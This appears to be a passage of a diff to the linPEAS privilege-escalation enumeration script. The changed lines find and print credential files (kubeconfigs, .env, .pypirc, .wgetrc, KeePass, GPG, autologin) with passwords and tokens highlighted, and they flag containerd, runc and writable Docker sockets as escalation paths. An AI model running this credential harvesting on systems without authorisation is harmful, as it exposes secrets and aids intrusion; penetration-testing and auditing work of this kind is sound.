read f; do ls -ld "$f" | sed -${E} "s,\.gpg$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$"; done; echo ""; - if ! [ "`echo \"$PSTORAGE_PGP_GPG\" | grep -E \"\.gnupg$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "*.gnupg"; fi; fi; printf "%s" "$PSTORAGE_PGP_GPG" | grep -E "\.gnupg$" | while read f; do ls -ld "$f" | sed -${E} "s,\.gnupg$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_PGP_GPG\" | grep -E \"\.pgp$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "*.pgp"; fi; fi; printf "%s" "$PSTORAGE_PGP_GPG" | grep -E "\.pgp$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,\.pgp$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_PGP_GPG\" | grep -E \"\.gpg$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "*.gpg"; fi; fi; printf "%s" "$PSTORAGE_PGP_GPG" | grep -E "\.gpg$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,\.gpg$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_PGP_GPG\" | grep -E \"\.gnupg$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "*.gnupg"; fi; fi; printf "%s" "$PSTORAGE_PGP_GPG" | grep -E "\.gnupg$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,\.gnupg$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$"; done; echo ""; fi if [ "$PSTORAGE_CACHE_VI" ] || [ "$DEBUG" ]; then print_2title "Analyzing Cache Vi Files (limit 70)" - if ! [ "`echo \"$PSTORAGE_CACHE_VI\" | grep -E \"\.swp$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "*.swp"; fi; fi; printf "%s" "$PSTORAGE_CACHE_VI" | grep -E "\.swp$" | while read f; do ls -ld "$f" | sed -${E} "s,\.swp$,${SED_RED},"; done; echo ""; - if ! [ "`echo \"$PSTORAGE_CACHE_VI\" | grep -E \"\.viminfo$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "*.viminfo"; fi; fi; printf "%s" "$PSTORAGE_CACHE_VI" | grep -E "\.viminfo$" | while read f; do ls -ld "$f" | sed -${E} "s,\.viminfo$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_CACHE_VI\" | grep -E \"\.swp$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "*.swp"; fi; fi; printf "%s" "$PSTORAGE_CACHE_VI" | grep -E "\.swp$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,\.swp$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_CACHE_VI\" | grep -E \"\.viminfo$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "*.viminfo"; fi; fi; printf "%s" "$PSTORAGE_CACHE_VI" | grep -E "\.viminfo$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,\.viminfo$,${SED_RED},"; done; echo ""; fi if [ "$PSTORAGE_WGET" ] || [ "$DEBUG" ]; then print_2title "Analyzing Wget Files (limit 70)" - if ! [ "`echo \"$PSTORAGE_WGET\" | grep -E \"\.wgetrc$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found ".wgetrc"; fi; fi; printf "%s" "$PSTORAGE_WGET" | grep -E "\.wgetrc$" | while read f; do ls -ld "$f" | sed -${E} "s,\.wgetrc$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -Ev "^#" | sed -${E} "s,[pP][aA][sS][sS].*|[uU][sS][eE][rR].*,${SED_RED},g"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_WGET\" | grep -E \"\.wgetrc$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found ".wgetrc"; fi; fi; printf "%s" "$PSTORAGE_WGET" | grep -E "\.wgetrc$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,\.wgetrc$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -Ev "^#" | sed -${E} "s,[pP][aA][sS][sS].*|[uU][sS][eE][rR].*,${SED_RED},g"; done; echo ""; fi ##-- SI) containerd installed -containerd=$(command -v ctr) -if [ "$containerd" ] || [ "$DEBUG" ]; then - print_2title "Checking if containerd(ctr) is available" - print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation/containerd-ctr-privilege-escalation" - if [ "$containerd" ]; then - echo "ctr was found in $containerd, you may be able to escalate privileges with it" | sed -${E} "s,.*,${SED_RED}," - ctr image list +if ! [ "$SEARCH_IN_FOLDER" ]; then + containerd=$(command -v ctr) + if [ "$containerd" ] || [ "$DEBUG" ]; then + print_2title "Checking if containerd(ctr) is available" + print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation/containerd-ctr-privilege-escalation" + if [ "$containerd" ]; then + echo "ctr was found in $containerd, you may be able to escalate privileges with it" | sed -${E} "s,.*,${SED_RED}," + ctr image list 2>&1 + fi + echo "" fi - echo "" fi ##-- SI) runc installed -runc=$(command -v runc) -if [ "$runc" ] || [ "$DEBUG" ]; then - print_2title "Checking if runc is available" - print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation/runc-privilege-escalation" - if [ "$runc" ]; then - echo "runc was found in $runc, you may be able to escalate privileges with it" | sed -${E} "s,.*,${SED_RED}," +if ! [ "$SEARCH_IN_FOLDER" ]; then + runc=$(command -v runc) + if [ "$runc" ] || [ "$DEBUG" ]; then + print_2title "Checking if runc is available" + print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation/runc-privilege-escalation" + if [ "$runc" ]; then + echo "runc was found in $runc, you may be able to escalate privileges with it" | sed -${E} "s,.*,${SED_RED}," + fi + echo "" fi - echo "" fi #-- SI) Docker if [ "$PSTORAGE_DOCKER" ] || [ "$DEBUG" ]; then print_2title "Searching docker files (limit 70)" - print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#writable-docker-socket" + print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation" printf "%s\n" "$PSTORAGE_DOCKER" | head -n 70 | while read f; do ls -l "$f" 2>/dev/null if ! [ "$IAMROOT" ] && [ -S "$f" ] && [ -w "$f" ]; then - echo "Docker socket file ($f) is writable" | sed -${E} "s,.*,${SED_RED_YELLOW}," + echo "Docker related socket ($f) is writable" | sed -${E} "s,.*,${SED_RED_YELLOW}," fi done echo "" fi -if [ -d "$HOME/.kube" ] || [ -d "/etc/kubernetes" ] || [ -d "/var/lib/localkube" ] || [ "`(env | set) | grep -Ei 'kubernetes|kube' | grep -v "PSTORAGE_KUBELET|USEFUL_SOFTWARE"`" ] || [ "$DEBUG" ]; then - print_2title "Kubernetes information" | sed -${E} "s,config,${SED_RED}," - ls -l "$HOME/.kube" 2>/dev/null - grep -ERH "client-secret:|id-token:|refresh-token:" "$HOME/.kube" 2>/dev/null | sed -${E} "s,client-secret:.*|id-token:.*|refresh-token:.*,${SED_RED}," - (env || set) | grep -Ei "kubernetes|kube" | grep -v "PSTORAGE_KUBELET|USEFUL_SOFTWARE" | sed -${E} "s,kubernetes|kube,${SED_RED}," - ls -Rl /etc/kubernetes /var/lib/localkube 2>/dev/null -fi - -if [ "$PSTORAGE_KUBELET" ] || [ "$DEBUG" ]; then - print_2title "Analyzing Kubelet Files (limit 70)" - if ! [ "`echo \"$PSTORAGE_KUBELET\" | grep -E \"kubelet$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "kubelet"; fi; fi; printf "%s" "$PSTORAGE_KUBELET" | grep -E "kubelet$" | while read f; do ls -ld "$f" | sed -${E} "s,kubelet$,${SED_RED},"; find "$f" -name "kubeconfig" | while read ff; do ls -ld "$ff" | sed -${E} "s,kubeconfig,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,server:|cluster:|namespace:|user:|exec:,${SED_RED},g"; done; echo "";done; echo ""; - if ! [ "`echo \"$PSTORAGE_KUBELET\" | grep -E \"kube-proxy$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "kube-proxy"; fi; fi; printf "%s" "$PSTORAGE_KUBELET" | grep -E "kube-proxy$" | while read f; do ls -ld "$f" | sed -${E} "s,kube-proxy$,${SED_RED},"; find "$f" -name "kubeconfig" | while read ff; do ls -ld "$ff" | sed -${E} "s,kubeconfig,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,cluster:|certificate-authority-data:|namespace:|user:|token:,${SED_RED},g"; done; echo "";done; echo ""; +if [ "$PSTORAGE_KUBERNETES" ] || [ "$DEBUG" ]; then + print_2title "Analyzing Kubernetes Files (limit 70)" + (env || set) | grep -Ei "kubernetes|kube" | grep -v "PSTORAGE_KUBERNETES|USEFUL_SOFTWARE" | sed -${E} "s,kubernetes|kube,${SED_RED}," + if ! [ "`echo \"$PSTORAGE_KUBERNETES\" | grep -E \"kubeconfig$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "kubeconfig"; fi; fi; printf "%s" "$PSTORAGE_KUBERNETES" | grep -E "kubeconfig$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,kubeconfig$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,server:|cluster:|namespace:|user:|exec:,${SED_RED},g"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_KUBERNETES\" | grep -E \"kubelet-kubeconfig$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "kubelet-kubeconfig"; fi; fi; printf "%s" "$PSTORAGE_KUBERNETES" | grep -E "kubelet-kubeconfig$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,kubelet-kubeconfig$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,server:|cluster:|namespace:|user:|exec:,${SED_RED},g"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_KUBERNETES\" | grep -E \"psk\.txt$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "psk.txt"; fi; fi; printf "%s" "$PSTORAGE_KUBERNETES" | grep -E "psk\.txt$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,psk\.txt$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,.*,${SED_RED},g"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_KUBERNETES\" | grep -E \"\.kube.*$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found ".kube*"; fi; fi; printf "%s" "$PSTORAGE_KUBERNETES" | grep -E "\.kube.*$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,\.kube.*$,${SED_RED},"; find "$f" -name "config" | while read ff; do ls -ld "$ff" | sed -${E} "s,config,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,server:|cluster:|namespace:|user:|exec:,${SED_RED},g"; done; echo "";done; echo ""; + if ! [ "`echo \"$PSTORAGE_KUBERNETES\" | grep -E \"kubelet$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "kubelet"; fi; fi; printf "%s" "$PSTORAGE_KUBERNETES" | grep -E "kubelet$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,kubelet$,${SED_RED},"; find "$f" -name "kubelet.conf" | while read ff; do ls -ld "$ff" | sed -${E} "s,kubelet.conf,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,server:|cluster:|namespace:|user:|exec:,${SED_RED},g"; done; echo "";find "$f" -name "config.yaml" | while read ff; do ls -ld "$ff" | sed -${E} "s,config.yaml,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,server:|cluster:|namespace:|user:|exec:,${SED_RED},g"; done; echo "";find "$f" -name "kubeadm-flags.env" | while read ff; do ls -ld "$ff" | sed -${E} "s,kubeadm-flags.env,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$"; done; echo "";done; echo ""; + if ! [ "`echo \"$PSTORAGE_KUBERNETES\" | grep -E \"kube-proxy$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "kube-proxy"; fi; fi; printf "%s" "$PSTORAGE_KUBERNETES" | grep -E "kube-proxy$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,kube-proxy$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_KUBERNETES\" | grep -E \"kubernetes$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "kubernetes"; fi; fi; printf "%s" "$PSTORAGE_KUBERNETES" | grep -E "kubernetes$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,kubernetes$,${SED_RED},"; done; echo ""; fi if [ "$PSTORAGE_FIREFOX" ] || [ "$DEBUG" ]; then print_2title "Analyzing Firefox Files (limit 70)" - if ! [ "`echo \"$PSTORAGE_FIREFOX\" | grep -E \"\.mozilla$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found ".mozilla"; fi; fi; printf "%s" "$PSTORAGE_FIREFOX" | grep -E "\.mozilla$" | while read f; do ls -ld "$f" | sed -${E} "s,\.mozilla$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$"; done; echo ""; - if ! [ "`echo \"$PSTORAGE_FIREFOX\" | grep -E \"Firefox$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "Firefox"; fi; fi; printf "%s" "$PSTORAGE_FIREFOX" | grep -E "Firefox$" | while read f; do ls -ld "$f" | sed -${E} "s,Firefox$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_FIREFOX\" | grep -E \"\.mozilla$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found ".mozilla"; fi; fi; printf "%s" "$PSTORAGE_FIREFOX" | grep -E "\.mozilla$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,\.mozilla$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_FIREFOX\" | grep -E \"Firefox$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "Firefox"; fi; fi; printf "%s" "$PSTORAGE_FIREFOX" | grep -E "Firefox$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,Firefox$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$"; done; echo ""; fi if [ "$PSTORAGE_CHROME" ] || [ "$DEBUG" ]; then print_2title "Analyzing Chrome Files (limit 70)" - if ! [ "`echo \"$PSTORAGE_CHROME\" | grep -E \"google-chrome$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "google-chrome"; fi; fi; printf "%s" "$PSTORAGE_CHROME" | grep -E "google-chrome$" | while read f; do ls -ld "$f" | sed -${E} "s,google-chrome$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$"; done; echo ""; - if ! [ "`echo \"$PSTORAGE_CHROME\" | grep -E \"Chrome$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "Chrome"; fi; fi; printf "%s" "$PSTORAGE_CHROME" | grep -E "Chrome$" | while read f; do ls -ld "$f" | sed -${E} "s,Chrome$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_CHROME\" | grep -E \"google-chrome$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "google-chrome"; fi; fi; printf "%s" "$PSTORAGE_CHROME" | grep -E "google-chrome$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,google-chrome$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_CHROME\" | grep -E \"Chrome$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "Chrome"; fi; fi; printf "%s" "$PSTORAGE_CHROME" | grep -E "Chrome$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,Chrome$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$"; done; echo ""; fi if [ "$PSTORAGE_AUTOLOGIN" ] || [ "$DEBUG" ]; then print_2title "Analyzing Autologin Files (limit 70)" - if ! [ "`echo \"$PSTORAGE_AUTOLOGIN\" | grep -E \"autologin$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "autologin"; fi; fi; printf "%s" "$PSTORAGE_AUTOLOGIN" | grep -E "autologin$" | while read f; do ls -ld "$f" | sed -${E} "s,autologin$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,passwd,${SED_RED},g"; done; echo ""; - if ! [ "`echo \"$PSTORAGE_AUTOLOGIN\" | grep -E \"autologin\.conf$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "autologin.conf"; fi; fi; printf "%s" "$PSTORAGE_AUTOLOGIN" | grep -E "autologin\.conf$" | while read f; do ls -ld "$f" | sed -${E} "s,autologin\.conf$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,passwd,${SED_RED},g"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_AUTOLOGIN\" | grep -E \"autologin$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "autologin"; fi; fi; printf "%s" "$PSTORAGE_AUTOLOGIN" | grep -E "autologin$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,autologin$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,passwd,${SED_RED},g"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_AUTOLOGIN\" | grep -E \"autologin\.conf$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "autologin.conf"; fi; fi; printf "%s" "$PSTORAGE_AUTOLOGIN" | grep -E "autologin\.conf$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,autologin\.conf$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,passwd,${SED_RED},g"; done; echo ""; fi @@ -3242,165 +3941,173 @@ fi if [ "$PSTORAGE_SNMP" ] || [ "$DEBUG" ]; then print_2title "Analyzing SNMP Files (limit 70)" - if ! [ "`echo \"$PSTORAGE_SNMP\" | grep -E \"snmpd\.conf$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "snmpd.conf"; fi; fi; printf "%s" "$PSTORAGE_SNMP" | grep -E "snmpd\.conf$" | while read f; do ls -ld "$f" | sed -${E} "s,snmpd\.conf$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -E "rocommunity|rwcommunity|extend.*" | sed -${E} "s,rocommunity|rwcommunity|extend.*,${SED_RED},g"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_SNMP\" | grep -E \"snmpd\.conf$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "snmpd.conf"; fi; fi; printf "%s" "$PSTORAGE_SNMP" | grep -E "snmpd\.conf$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,snmpd\.conf$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -E "rocommunity|rwcommunity|extend.*" | sed -${E} "s,rocommunity|rwcommunity|extend.*,${SED_RED},g"; done; echo ""; fi if [ "$PSTORAGE_PYPIRC" ] || [ "$DEBUG" ]; then print_2title "Analyzing Pypirc Files (limit 70)" - if ! [ "`echo \"$PSTORAGE_PYPIRC\" | grep -E \"\.pypirc$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found ".pypirc"; fi; fi; printf "%s" "$PSTORAGE_PYPIRC" | grep -E "\.pypirc$" | while read f; do ls -ld "$f" | sed -${E} "s,\.pypirc$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,username|password,${SED_RED},g"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_PYPIRC\" | grep -E \"\.pypirc$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found ".pypirc"; fi; fi; printf "%s" "$PSTORAGE_PYPIRC" | grep -E "\.pypirc$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,\.pypirc$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,username|password,${SED_RED},g"; done; echo ""; fi if [ "$PSTORAGE_POSTFIX" ] || [ "$DEBUG" ]; then print_2title "Analyzing Postfix Files (limit 70)" - if ! [ "`echo \"$PSTORAGE_POSTFIX\" | grep -E \"postfix$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "postfix"; fi; fi; printf "%s" "$PSTORAGE_POSTFIX" | grep -E "postfix$" | while read f; do ls -ld "$f" | sed -${E} "s,postfix$,${SED_RED},"; find "$f" -name "master.cf" | while read ff; do ls -ld "$ff" | sed -${E} "s,master.cf,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | grep -E "user=" | sed -${E} "s,user=|argv=,${SED_RED},g"; done; echo "";done; echo ""; + if ! [ "`echo \"$PSTORAGE_POSTFIX\" | grep -E \"postfix$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "postfix"; fi; fi; printf "%s" "$PSTORAGE_POSTFIX" | grep -E "postfix$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,postfix$,${SED_RED},"; find "$f" -name "master.cf" | while read ff; do ls -ld "$ff" | sed -${E} "s,master.cf,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | grep -E "user=" | sed -${E} "s,user=|argv=,${SED_RED},g"; done; echo "";done; echo ""; fi if [ "$PSTORAGE_LDAPRC" ] || [ "$DEBUG" ]; then print_2title "Analyzing Ldaprc Files (limit 70)" - if ! [ "`echo \"$PSTORAGE_LDAPRC\" | grep -E \"\.ldaprc$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found ".ldaprc"; fi; fi; printf "%s" "$PSTORAGE_LDAPRC" | grep -E "\.ldaprc$" | while read f; do ls -ld "$f" | sed -${E} "s,\.ldaprc$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -Ev "^#" | sed -${E} "s,.*,${SED_RED},g"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_LDAPRC\" | grep -E \"\.ldaprc$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found ".ldaprc"; fi; fi; printf "%s" "$PSTORAGE_LDAPRC" | grep -E "\.ldaprc$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,\.ldaprc$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -Ev "^#" | sed -${E} "s,.*,${SED_RED},g"; done; echo ""; fi if [ "$PSTORAGE_ENV" ] || [ "$DEBUG" ]; then print_2title "Analyzing Env Files (limit 70)" - if ! [ "`echo \"$PSTORAGE_ENV\" | grep -E \"\.env$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found ".env"; fi; fi; printf "%s" "$PSTORAGE_ENV" | grep -E "\.env$" | while read f; do ls -ld "$f" | sed -${E} "s,\.env$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -Ev "^#" | sed -${E} "s,[pP][aA][sS][sS].*|[tT][oO][kK][eE][N]|[dD][bB],${SED_RED},g"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_ENV\" | grep -E \"\.env$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found ".env"; fi; fi; printf "%s" "$PSTORAGE_ENV" | grep -E "\.env$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,\.env$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -Ev "^#" | sed -${E} "s,[pP][aA][sS][sS].*|[tT][oO][kK][eE][N]|[dD][bB],${SED_RED},g"; done; echo ""; fi if [ "$PSTORAGE_MSMTPRC" ] || [ "$DEBUG" ]; then print_2title "Analyzing Msmtprc Files (limit 70)" - if ! [ "`echo \"$PSTORAGE_MSMTPRC\" | grep -E \"\.msmtprc$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found ".msmtprc"; fi; fi; printf "%s" "$PSTORAGE_MSMTPRC" | grep -E "\.msmtprc$" | while read f; do ls -ld "$f" | sed -${E} "s,\.msmtprc$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -Ev "^#" | sed -${E} "s,user.*|password.*,${SED_RED},g"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_MSMTPRC\" | grep -E \"\.msmtprc$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found ".msmtprc"; fi; fi; printf "%s" "$PSTORAGE_MSMTPRC" | grep -E "\.msmtprc$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,\.msmtprc$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -Ev "^#" | sed -${E} "s,user.*|password.*,${SED_RED},g"; done; echo ""; fi if [ "$PSTORAGE_KEEPASS" ] || [ "$DEBUG" ]; then print_2title "Analyzing Keepass Files (limit 70)" - if ! [ "`echo \"$PSTORAGE_KEEPASS\" | grep -E \"\.kdbx$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "*.kdbx"; fi; fi; printf "%s" "$PSTORAGE_KEEPASS" | grep -E "\.kdbx$" | while read f; do ls -ld "$f" | sed -${E} "s,\.kdbx$,${SED_RED},"; done; echo ""; - if ! [ "`echo \"$PSTORAGE_KEEPASS\" | grep -E \"KeePass\.config.*$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "KeePass.config*"; fi; fi; printf "%s" "$PSTORAGE_KEEPASS" | grep -E "KeePass\.config.*$" | while read f; do ls -ld "$f" | sed -${E} "s,KeePass\.config.*$,${SED_RED},"; done; echo ""; - if ! [ "`echo \"$PSTORAGE_KEEPASS\" | grep -E \"KeePass\.ini$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "KeePass.ini"; fi; fi; printf "%s" "$PSTORAGE_KEEPASS" | grep -E "KeePass\.ini$" | while read f; do ls -ld "$f" | sed -${E} "s,KeePass\.ini$,${SED_RED},"; done; echo ""; - if ! [ "`echo \"$PSTORAGE_KEEPASS\" | grep -E \"KeePass\.enforced.*$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "KeePass.enforced*"; fi; fi; printf "%s" "$PSTORAGE_KEEPASS" | grep -E "KeePass\.enforced.*$" | while read f; do ls -ld "$f" | sed -${E} "s,KeePass\.enforced.*$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_KEEPASS\" | grep -E \"\.kdbx$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "*.kdbx"; fi; fi; printf "%s" "$PSTORAGE_KEEPASS" | grep -E "\.kdbx$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,\.kdbx$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_KEEPASS\" | grep -E \"KeePass\.config.*$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "KeePass.config*"; fi; fi; printf "%s" "$PSTORAGE_KEEPASS" | grep -E "KeePass\.config.*$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,KeePass\.config.*$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_KEEPASS\" | grep -E \"KeePass\.ini$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "KeePass.ini"; fi; fi; printf "%s" "$PSTORAGE_KEEPASS" | grep -E "KeePass\.ini$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,KeePass\.ini$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_KEEPASS\" | grep -E \"KeePass\.enforced.*$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "KeePass.enforced*"; fi; fi; printf "%s" "$PSTORAGE_KEEPASS" | grep -E "KeePass\.enforced.*$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,KeePass\.enforced.*$,${SED_RED},"; done; echo ""; fi if [ "$PSTORAGE_FTP" ] || [ "$DEBUG" ]; then print_2title "Analyzing FTP Files (limit 70)" - if ! [ "`echo \"$PSTORAGE_FTP\" | grep -E \"\.ftpconfig$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "*.ftpconfig"; fi; fi; printf "%s" "$PSTORAGE_FTP" | grep -E "\.ftpconfig$" | while read f; do ls -ld "$f" | sed -${E} "s,\.ftpconfig$,${SED_RED},"; done; echo ""; - if ! [ "`echo \"$PSTORAGE_FTP\" | grep -E \"ffftp\.ini$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "ffftp.ini"; fi; fi; printf "%s" "$PSTORAGE_FTP" | grep -E "ffftp\.ini$" | while read f; do ls -ld "$f" | sed -${E} "s,ffftp\.ini$,${SED_RED},"; done; echo ""; - if ! [ "`echo \"$PSTORAGE_FTP\" | grep -E \"ftp\.ini$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "ftp.ini"; fi; fi; printf "%s" "$PSTORAGE_FTP" | grep -E "ftp\.ini$" | while read f; do ls -ld "$f" | sed -${E} "s,ftp\.ini$,${SED_RED},"; done; echo ""; - if ! [ "`echo \"$PSTORAGE_FTP\" | grep -E \"ftp\.config$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "ftp.config"; fi; fi; printf "%s" "$PSTORAGE_FTP" | grep -E "ftp\.config$" | while read f; do ls -ld "$f" | sed -${E} "s,ftp\.config$,${SED_RED},"; done; echo ""; - if ! [ "`echo \"$PSTORAGE_FTP\" | grep -E \"sites\.ini$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "sites.ini"; fi; 